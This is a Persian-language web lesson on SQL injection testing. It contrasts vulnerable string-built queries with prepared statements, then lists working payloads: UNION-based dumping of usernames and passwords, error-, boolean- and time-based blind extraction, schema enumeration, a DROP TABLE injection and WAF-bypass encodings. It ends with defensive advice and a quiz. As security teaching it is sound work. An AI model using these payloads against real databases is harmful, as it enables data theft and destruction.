در حال بارگذاری...
تست آسیبپذیری تزریق SQL که در آن مهاجم میتواند دستورات SQL مخرب را از طریق ورودیهای برنامه اجرا کند.
اهداف این درس
SQL Injection (SQLi) یکی از قدیمیترین و خطرناکترین آسیبپذیریهای وب است. در این آسیبپذیری، مهاجم میتواند دستورات SQL مخرب را از طریق ورودیهای برنامه به پایگاه داده تزریق کند.
نوعی آسیبپذیری امنیتی که در آن مهاجم میتواند دستورات SQL مخرب را از طریق ورودیهای برنامه به پایگاه داده تزریق کند.
SQL Injection زمانی رخ میدهد که برنامه ورودی کاربر را مستقیماً در ساختار query SQL قرار میدهد. مشکل اصلی ترکیب کد و داده در یک رشته واحد است. وقتی برنامهنویس کد SQL و دادههای کاربر را در یک رشته ترکیب میکند، موتور SQL نمیتواند تشخیص دهد کدام بخش کد است و کدام بخش داده.
1# کد آسیبپذیر - ترکیب کد و داده2query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"34# اگر کاربر وارد کند: admin' --5# query تبدیل میشود به:6# SELECT * FROM users WHERE username='admin' --' AND password=''7# بخش password نادیده گرفته میشود!1# کد امن - جداسازی کد و داده2query = "SELECT * FROM users WHERE username=? AND password=?"3cursor.execute(query, (username, password))4# دادهها همیشه بهعنوان داده تفسیر میشوندبرای درک SQL Injection، باید بدانید چگونه یک query اجرا میشود: ۱) برنامه query را میسازد، ۲) query به پایگاه داده ارسال میشود، ۳) موتور SQL query را تجزیه (parse) میکند، ۴) طرح اجرا (execution plan) ساخته میشود، ۵) query اجرا میشود، ۶) نتیجه برمیگردد. مشکل در مرحله ۱ رخ میدهد: وقتی ورودی کاربر قبل از تجزیه به query اضافه میشود.
تست حرفهای SQL Injection شامل مراحل ساختاریافته زیر است:
| نوع | روش شناسایی | روش استخراج | پیچیدگی |
|---|---|---|---|
| Error-based | پیام خطای پایگاه داده | استخراج از پیام خطا | آسان |
| Union-based | UNION SELECT | ترکیب نتایج | متوسط |
| Boolean-based | تفاوت پاسخ true/false | استخراج بیتبهبیت | سخت |
| Time-based | تأخیر زمانی | استخراج با SLEEP | سخت |
| Out-of-band | DNS/HTTP request | کانال خارجی | پیشرفته |
1-- MySQL: استخراج نسخه2' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --34-- MySQL: استخراج نام کاربری5' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user()))) --67-- SQL Server: استخراج نسخه8' AND 1=CONVERT(int, @@version) --910-- PostgreSQL: استخراج نسخه11' AND 1=CAST((SELECT version()) AS int) --1-- مرحله ۱: تعیین تعداد ستونها2' ORDER BY 1 --3' ORDER BY 2 --4' ORDER BY 3 --5... تا خطایی رخ دهد67-- مرحله ۲: شناسایی ستونهای قابل نمایش8' UNION SELECT NULL,NULL,NULL --910-- مرحله ۳: استخراج داده11' UNION SELECT username,password,NULL FROM users --1-- Boolean-based: بررسی تفاوت پاسخ2' AND 1=1 -- # پاسخ عادی3' AND 1=2 -- # پاسخ متفاوت45-- Boolean-based: استخراج داده6' AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a' --78-- Time-based: استخراج با تأخیر9' AND IF(SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a',SLEEP(5),0) --1011-- PostgreSQL time-based12'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --1-- MySQL2' UNION SELECT @@version --34-- SQL Server5' UNION SELECT @@version --67-- Oracle8' UNION SELECT banner FROM v$version WHERE ROWNUM=1 --910-- PostgreSQL11' UNION SELECT version() --1213-- SQLite14' UNION SELECT sqlite_version() --1-- MySQL: لیست جداول2' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --34-- MySQL: لیست ستونها5' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --67-- SQL Server: لیست جداول8' UNION SELECT name FROM sysobjects WHERE xtype='U' --910-- Oracle: لیست جداول11' UNION SELECT table_name FROM all_tables WHERE ROWNUM=1 --در تست حرفهای، هر پاسخ باید مستند شود:
در Second-order SQL Injection، ورودی مخرب در ابتدا ذخیره میشود و سپس در query بعدی بدون فیلتر استفاده میشود. این نوع Injection پیچیدهتر است زیرا نقطه ورود و نقطه اجرا متفاوت هستند.
1-- مرحله ۱: ثبتنام با نام کاربری مخرب2INSERT INTO users (username) VALUES ('admin''--')34-- مرحله ۲: ورود با نام کاربری ذخیرهشده5SELECT * FROM users WHERE username='admin'--' AND password='...'6-- بخش password نادیده گرفته میشود!| Context | نحوه تست | نکات مهم |
|---|---|---|
| String | ' OR 1=1 -- | بستن کوتیشن و اضافه کردن شرط |
| Numeric | 1 OR 1=1 | نیاز به بستن کوتیشن نیست |
| ORDER BY | 1 ORDER BY 1-- | استفاده از CASE WHEN |
| LIKE | ' OR 1=1-- | توجه به wildcard ها |
| INSERT | '); DROP TABLE users-- | بستن پرانتز و کوتیشن |
| UPDATE | username='admin'-- | تغییر مقادیر |
| DELETE | id=1 OR 1=1-- | حذف تمام رکوردها |
ORMها (Object-Relational Mapping) معمولاً از Prepared Statements استفاده میکنند، اما اگر از raw query استفاده شود، ممکن است آسیبپذیر باشند:
1# Django ORM - آسیبپذیر2User.objects.raw(f"SELECT * FROM users WHERE username='{username}'")34# Django ORM - امن5User.objects.filter(username=username)67# SQLAlchemy - آسیبپذیر8session.execute(f"SELECT * FROM users WHERE username='{username}'")910# SQLAlchemy - امن11session.execute(text("SELECT * FROM users WHERE username=:username"), {"username": username})Web Application Firewallها ممکن است payloadهای ساده را فیلتر کنند. تکنیکهای دور زدن WAF:
1-- استفاده از comment برای شکستن کلمات کلیدی2UN/**/ION SEL/**/ECT34-- استفاده از encoding5%27%20OR%201%3D1%20--67-- استفاده از case variation8uNiOn SeLeCt910-- استفاده از whitespaceهای جایگزین11'%09OR%091=1%09--1213-- استفاده از double encoding14%2527%2520OR%25201=1%2520--در برخی سناریوها، مهاجم میتواند از race condition برای تغییر دادهها قبل از اجرای query استفاده کند. این تکنیک پیشرفته نیاز به درک عمیق از مدیریت تراکنشها دارد.
SQL Injection میتواند با سایر آسیبپذیریها ترکیب شود:
شواهد قوی شامل موارد زیر است:
هشدار
هرگز از string concatenation برای ساخت query استفاده نکنید. حتی اگر ورودی اعتبارسنجی شود، Prepared Statements ضروری است.
توصیه عملی
از ابزارهای خودکار مثل SQLMap برای شناسایی اولیه استفاده کنید، اما همیشه نتایج را بهصورت دستی تأیید کنید. ابزارهای خودکار ممکن است مثبت کاذب تولید کنند.
نکته حرفهای
در تست حرفهای، ابتدا رفتار عادی برنامه را مستند کنید، سپس با payloadهای ساده شروع کنید و بهتدریج پیچیدگی را افزایش دهید. همیشه شواهد را مستند کنید.
هرگز از string concatenation برای ساخت query استفاده نکنید.
Prepared Statements مؤثرترین روش پیشگیری از SQL Injection است.
ORMها هم ممکن است آسیبپذیر باشند - از raw query اجتناب کنید.
دسترسی پایگاه داده باید با حداقل اختیارات تنظیم شود.
Second-order Injection را فراموش نکنید - نقطه ورود و اجرا متفاوت هستند.
همیشه نتایج ابزارهای خودکار را بهصورت دستی تأیید کنید.
شواهد حرفهای شامل درخواست/پاسخ کامل و مراحل بازتولید است.
کدام روش مؤثرترین پیشگیری از SQL Injection است؟
انواع مختلف SQL Injection کدامند؟
سه نوع اصلی وجود دارد: In-band (Classic) مثل Union-based و Error-based، Blind مثل Boolean-based و Time-based، و Out-of-band.
Prepared Statements چگونه از SQL Injection جلوگیری میکند؟
Prepared Statements ساختار query را از دادهها جدا میکند. دادههای کاربر همیشه بهعنوان داده تفسیر میشوند.
Second-order SQL Injection چیست و چرا خطرناک است؟
در Second-order Injection، ورودی مخرب در ابتدا ذخیره میشود و سپس در query بعدی بدون فیلتر استفاده میشود. این نوع خطرناک است زیرا نقطه ورود و نقطه اجرا متفاوت هستند و شناسایی آن سختتر است.
چگونه نوع پایگاه داده را در SQL Injection شناسایی میکنید؟
با استفاده از توابع خاص هر پایگاه داده مثل @@version در MySQL/SQL Server، version() در PostgreSQL، و banner FROM v$version در Oracle.
آیا ORMها از SQL Injection محافظت میکنند؟
ORMها معمولاً از Prepared Statements استفاده میکنند، اما اگر از raw query استفاده شود، ممکن است آسیبپذیر باشند. همیشه باید از روشهای امن ORM استفاده کرد.